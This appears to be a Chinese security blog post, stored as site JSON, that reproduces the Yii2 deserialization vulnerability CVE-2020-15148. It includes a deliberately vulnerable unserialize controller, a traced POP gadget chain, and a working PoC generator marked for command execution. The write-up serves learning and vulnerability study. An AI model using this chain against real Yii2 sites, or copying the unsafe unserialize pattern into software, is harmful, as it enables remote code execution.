[{"data":1,"prerenderedAt":266},["ShallowReactive",2],{"content:\u002F2026\u002Fcve-2020-15148":3,"surround:\u002F2026\u002Fcve-2020-15148":255},{"id":4,"title":5,"body":6,"categories":232,"date":234,"description":235,"draft":236,"extension":237,"image":238,"meta":239,"navigation":241,"path":242,"permalink":243,"published":243,"readingTime":244,"recommend":243,"references":243,"seo":249,"sitemap":250,"stem":251,"tags":252,"type":253,"updated":234,"__hash__":254},"content\u002Fposts\u002F2026\u002FCVE-2020-15148 反序列化漏洞复现.md","CVE-2020-15148 反序列化漏洞复现",{"type":7,"value":8,"toc":219},"minimark",[9,14,40,50,54,59,66,70,73,79,85,91,97,101,104,110,113,117,124,130,140,146,149,155,161,164,170,181,187,190,196,199,205,209],[10,11,13],"h2",{"id":12},"_1-环境搭建","1. 环境搭建",[15,16,17,18,22,23,30,31,35,36,39],"p",{},"本次使用phpstudy搭建，打开php拓展：php-openssl，注意：php版本不宜过高，7.2左右即可。\n首先下载yii-basic-app，",[19,20,21],"span",{},"链接",":",[24,25,29],"a",{"href":26,"rel":27},"https:\u002F\u002Fgithub.com\u002Fyiisoft\u002Fyii2\u002Freleases\u002Ftag\u002F2.0.37%E3%80%82",[28],"nofollow","https:\u002F\u002Fgithub.com\u002Fyiisoft\u002Fyii2\u002Freleases\u002Ftag\u002F2.0.37。","\n解压后放到WWW目录下，打开 \u002Fconfig\u002Fweb.php，给17行的cookieValidationKey添加任意值，然后在该目录下运行：",[32,33,34],"code",{"code":34},"php yii serve --port=xxxx","，然后访问",[32,37,38],{"code":38},"http:\u002F\u002Flocalhos:8080","。",[41,42,48],"pre",{"className":43,"code":45,"language":46,"meta":47},[44],"language-php","'request' => [\n            \u002F\u002F !!! insert a secret key in the following (if it is empty) - this is required by cookie validation\n            'cookieValidationKey' => '00',\n        ],\n","php","",[32,49,45],{"__ignoreMap":47},[10,51,53],{"id":52},"_2-补充知识","2. 补充知识",[55,56,58],"h3",{"id":57},"_21-yii2调用控制器和方法","2.1  Yii2调用控制器和方法。",[15,60,61,62,65],{},"格式是：",[32,63,64],{"code":64},"http:\u002F\u002Furl\u002Fweb?r=[控制器]\u002F[方法]","\n在yii2下，以test为例，控制器是TestController，方法是actionTest，控制器的Controller和方法的action都是固定的，调用时取test即可，注意是小写。\n例如SiteController控制器下有一个actionLogin方法，那么想调用它则r=site\u002Flogin。",[55,67,69],{"id":68},"_22-yii2中namespace-extends-use的用法","2.2 Yii2中namespace extends use的用法。",[15,71,72],{},"namespace 表示类的路径\nuse 表示导入类\nextends 表示继承类\n例如：",[41,74,77],{"className":75,"code":76,"language":46,"meta":47},[44],"namespace app\\controllers;\n\nuse Yii;\nuse yii\\filters\\AccessControl;\nuse yii\\web\\Controller;\nuse yii\\web\\Response;\nuse yii\\filters\\VerbFilter;\nuse app\\models\\LoginForm;\nuse app\\models\\ContactForm;\n\n",[32,78,76],{"__ignoreMap":47},[15,80,81,84],{},[32,82,83],{"code":83},"namespace app\\controllers;"," 表示SiteController类是在app\\controllers下。",[15,86,87,90],{},[32,88,89],{"code":89},"use yii\\web\\Controller;"," 表示导入yii\\web下的Controller类。",[15,92,93,96],{},[32,94,95],{"code":95},"class SiteController extends Controller"," 表示SiteController类继承Controller类。",[10,98,100],{"id":99},"_3-添加入口","3. 添加入口",[15,102,103],{},"新建controllers\u002FTestController.php文件。",[41,105,108],{"className":106,"code":107,"language":46,"meta":47},[44],"\u003C?php\nnamespace app\\controllers;\n\nuse Yii;\nuse yii\\web\\Controller;\n\nclass TestController extends Controller\n{\n    public function actionIndex(){\n        $name = Yii::$app->request->get('test');\n        return unserialize(base64_decode($name));    \n    }\n}\n?>\n",[32,109,107],{"__ignoreMap":47},[15,111,112],{},"然后就可以通过r=test\u002Findex&test=......进行反序列化。",[10,114,116],{"id":115},"_4-寻找pop链","4. 寻找POP链",[15,118,119,120,123],{},"我们选用yii\\db\\BatchQueryResult类中的__destruct作为起点，它会调用该类下的reset方法。\n",[32,121,122],{"code":122},"\u002Fvendor\u002Fyiisoft\u002Fyii2\u002Fdb\u002FBatchQueryResult.php"," ：",[41,125,128],{"className":126,"code":127,"language":46,"meta":47},[44],"public function __destruct()\n    {\n        $this->reset();\n    }\npublic function reset()\n    {\n        if ($this->_dataReader !== null) {\n            $this->_dataReader->close();\n        }\n        $this->_dataReader = null;\n        $this->_batch = null;\n        $this->_value = null;\n        $this->_key = null;\n    }\n",[32,129,127],{"__ignoreMap":47},[15,131,132,133,136,137,139],{},"因为_dataReader这个属性可控，我们又可以调用_dataReader下的close方法，想到去寻找含有__call魔术方法的类，然后控制_dataReader去触发__call。\n全局搜索一下__call方法，在",[32,134,135],{"code":135},"\\vendor\\fzaninotto\\faker\\src\\Faker\\Generator.php","找到合适的方法。\n",[32,138,135],{"code":135},"：",[41,141,144],{"className":142,"code":143,"language":46,"meta":47},[44],"public function __call($method, $attributes)\n    {\n        return $this->format($method, $attributes);\n    }\n",[32,145,143],{"__ignoreMap":47},[15,147,148],{},"跟进format方法，发现调用了call_user_func_array方法。call_user_func_array:调用回调函数，并把一个数组参数作为回调函数的参数，这里注意调用对象方法是",[41,150,153],{"className":151,"code":152,"language":46,"meta":47},[44],"$obj = new A();\ncall_user_func_array([$obj, 'method'], []);\n",[32,154,152],{"__ignoreMap":47},[41,156,159],{"className":157,"code":158,"language":46,"meta":47},[44]," public function format($formatter, $arguments = array())\n    {\n        return call_user_func_array($this->getFormatter($formatter), $arguments);\n    }\n",[32,160,158],{"__ignoreMap":47},[15,162,163],{},"跟进getFormatter方法。",[41,165,168],{"className":166,"code":167,"language":46,"meta":47},[44],"public function getFormatter($formatter)\n    {\n        if (isset($this->formatters[$formatter])) {\n            return $this->formatters[$formatter];\n        }\n        foreach ($this->providers as $provider) {\n            if (method_exists($provider, $formatter)) {\n                $this->formatters[$formatter] = array($provider, $formatter);\n\n                return $this->formatters[$formatter];\n            }\n        }\n        throw new \\InvalidArgumentException(sprintf('Unknown formatter \"%s\"', $formatter));\n    }\n",[32,169,167],{"__ignoreMap":47},[15,171,172,173,176,177,180],{},"我们知道$formatter值是close，可以通过控制formatters",[19,174,175],{},"close","去控制返回到call_user_func_array调用的方法，但是由于第二个参数是空值，所以我们要找一个无参的方法作为第一个值。",[32,178,179],{"code":179},"function \\w+\\(\\) ?\\n?\\{(.*\\n)+call_user_func","，找到\u002Fvendor\u002Fyiisoft\u002Fyii2\u002Frest\u002FCreateAction.php。",[41,182,185],{"className":183,"code":184,"language":46,"meta":47},[44],"public function run()\n{\n    if ($this->checkAccess) {\n        call_user_func($this->checkAccess, $this->id);\n    }\n    \n    return $model;\n}\n",[32,186,184],{"__ignoreMap":47},[15,188,189],{},"发现checkAccess和id都是可控的，所以整个pop链就出来了。",[41,191,194],{"className":192,"code":193,"language":46,"meta":47},[44],"BatchQueryResult->__destruct()\nBatchQueryResult->reset()\nGenerator->close()\nGenerator->__call()\nGenerator->format()\nGenerator->getFormatter()\nIndexAction->run()\n",[32,195,193],{"__ignoreMap":47},[15,197,198],{},"poc：",[41,200,203],{"className":201,"code":202,"language":46,"meta":47},[44],"\u003C?php\nnamespace yii\\rest{\n    \n    class IndexAction\n    {\n        public $checkAccess;\n        public $id;\n        public function __construct(){\n            $this->checkAccess = 'phpinfo';\n            $this->id = '1';\t\t\t\t\u002F\u002F命令执行\n        }\n    }\n}\nnamespace Faker {\n\n    use yii\\rest\\IndexAction;\n\n    class Generator\n    {\n        protected $formatters;\n\n        public function __construct()\n        {\n            $this->formatters['close'] = [new IndexAction(), 'run'];\n        }\n    }\n}\nnamespace yii\\db{\n\n    use Faker\\Generator;\n\n    class BatchQueryResult\n    {\n        private $_dataReader;\n        public function __construct()\n        {\n            $this->_dataReader=new Generator();\n        }\n    }\n}\nnamespace{\n\n    use yii\\db\\BatchQueryResult;\n\n    echo base64_encode(serialize(new BatchQueryResult()));\n}\n",[32,204,202],{"__ignoreMap":47},[10,206,208],{"id":207},"_5-复现总结","5. 复现总结",[15,210,211,212,22,214],{},"重点是call_user_func_arry方法两个参数的确定，然后去寻找无参危险方法，还有其余几个链子，这里不再详细说明，贴一个",[19,213,21],{},[24,215,218],{"href":216,"rel":217},"https:\u002F\u002Fblog.csdn.net\u002Funexpectedthing\u002Farticle\u002Fdetails\u002F123829375?spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-123829375-blog-111259943.235%5Ev43%5Epc_blog_bottom_relevance_base7&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-123829375-blog-111259943.235%5Ev43%5Epc_blog_bottom_relevance_base7%E3%80%82",[28],"https:\u002F\u002Fblog.csdn.net\u002Funexpectedthing\u002Farticle\u002Fdetails\u002F123829375?spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-123829375-blog-111259943.235%5Ev43%5Epc_blog_bottom_relevance_base7&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-6-123829375-blog-111259943.235%5Ev43%5Epc_blog_bottom_relevance_base7。",{"title":47,"searchDepth":220,"depth":220,"links":221},4,[222,224,229,230,231],{"id":12,"depth":223,"text":13},2,{"id":52,"depth":223,"text":53,"children":225},[226,228],{"id":57,"depth":227,"text":58},3,{"id":68,"depth":227,"text":69},{"id":99,"depth":223,"text":100},{"id":115,"depth":223,"text":116},{"id":207,"depth":223,"text":208},[233],"漏洞复现","2026-06-15 19:01:17","起因是在做CTFshow web入门的反序列化题目时碰到了框架的反序列化，就尝试着复现了一下",false,"md","\u002F2026\u002FCVE-2020-15148\u002Fcover.jpg",{"slots":240},{},true,"\u002F2026\u002Fcve-2020-15148",null,{"text":245,"minutes":246,"time":247,"words":248},"4 min read",3.775,226500,755,{"title":5,"description":235},{"loc":242},"posts\u002F2026\u002FCVE-2020-15148 反序列化漏洞复现",[],"tech","OrXZLvIQqHUvRV-fGLiq8DNls8UYqg7ap1K0siONc9I",[256,261],{"title":257,"path":258,"stem":259,"date":260,"type":253,"children":-1},"ThinkPhp5.1 反序列化漏洞复现","\u002F2026\u002Fthinkphp5.1","posts\u002F2026\u002FThinkPhp5.1 反序列化漏洞复现","2026-06-15 15:37:15",{"title":262,"path":263,"stem":264,"date":265,"type":253,"children":-1},"CTFShow Web入门 PHP反序列化 Writeup 合集","\u002F2026\u002Fctfshow-web-php-writeup","posts\u002F2026\u002FCTFShow Web入门 PHP反序列化 Writeup 合集","2026-06-16 08:59:34",1781603330216]